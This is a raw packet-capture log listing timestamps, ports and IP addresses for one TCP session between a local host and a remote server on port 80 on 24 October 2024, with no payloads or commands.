Oct 24, 2024 13:27:08.610214949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610219002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610234976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610253096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610270977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610287905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610299110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610321999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610338926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610361099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610367060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610408068 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610414982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610444069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610466003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610477924 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610488892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610512018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610527992 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610551119 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610558033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610599995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610604048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610636950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610652924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610671043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610688925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610706091 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610717058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610740900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610757113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610774994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610790968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610826015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610829115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610858917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610883951 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610893011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610902071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610928059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.610944986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610975027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.610981941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611017942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611032963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611052990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611073017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611090899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611094952 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611124992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611140966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611160994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611171007 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611193895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611207962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611228943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611242056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611270905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611284971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611305952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611323118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611361027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611372948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611426115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611427069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611462116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611476898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611495972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611510992 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611545086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611548901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611584902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611602068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611622095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611639023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611659050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611676931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611695051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611711025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611730099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611742973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611766100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611783981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611799955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611813068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611835003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611850023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611869097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611886024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611903906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611907959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611939907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611953020 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.611974001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.611991882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612009048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612015009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612042904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612059116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612076998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612092018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612111092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612121105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612147093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612160921 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612198114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612200975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612235069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612248898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612272978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612284899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612308025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612323999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612341881 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612361908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612376928 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612395048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612410069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612425089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612445116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612459898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612479925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612500906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612514019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612539053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612545967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612555981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612581015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612596035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612616062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612636089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612648964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612664938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612684011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612701893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612725019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612739086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612760067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612780094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612797022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612812996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612829924 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612842083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612865925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612880945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612900972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612915039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612935066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612952948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.612967968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.612981081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613003016 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613013029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613038063 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613050938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613073111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613086939 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613106012 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613128901 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613141060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613169909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613176107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613187075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613210917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613228083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613240004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613256931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613256931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613281012 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613291979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613291979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613297939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613313913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613317013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613331079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613331079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613346100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613351107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613362074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613369942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613378048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613387108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613394976 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613409996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613411903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613411903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613425970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613430023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613441944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613446951 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613457918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613467932 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613473892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613487959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613490105 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613506079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613507986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613522053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613533974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613533974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613535881 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613552094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613553047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613567114 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613583088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613598108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613600969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613600969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613600969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613612890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613626003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613631010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613641977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613650084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613661051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613666058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613677025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613693953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.613694906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613754988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.613754988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.614222050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.614238977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.614254951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.614278078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.614278078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.614289045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.614299059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.614304066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.614320993 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.614336967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.614345074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.614345074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.614352942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.614363909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.614371061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.614381075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.614397049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.614413023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.718128920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.718177080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.718422890 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.722187996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722280979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722312927 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722346067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722363949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722379923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722414970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722414017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.722450018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722480059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.722501040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.722507954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722543001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722587109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.722587109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.722596884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722637892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722660065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.722673893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722706079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.722712040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722724915 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.722748041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722768068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.722776890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722804070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.722811937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722834110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.722851038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.722865105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.722934008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.723093987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.723128080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.723160028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.723170042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.723182917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.723223925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.723225117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.723258972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.723282099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.723294020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.723310947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.723356962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.723361015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.723433971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.723442078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.723476887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.723511934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.723511934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.723531008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.723548889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.723567963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.723604918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726154089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726197958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726241112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726241112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726258039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726315975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726317883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726373911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726375103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726428032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726432085 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726463079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726488113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726510048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726516962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726577997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726581097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726614952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726636887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726651907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726677895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726701021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726715088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726751089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726775885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726793051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726805925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726840019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726867914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726872921 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726886988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726917028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726931095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726955891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.726973057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.726989031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:08.727010965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:08.727018118 CEST	80	49730	109.107.157.208	192.168.2.4
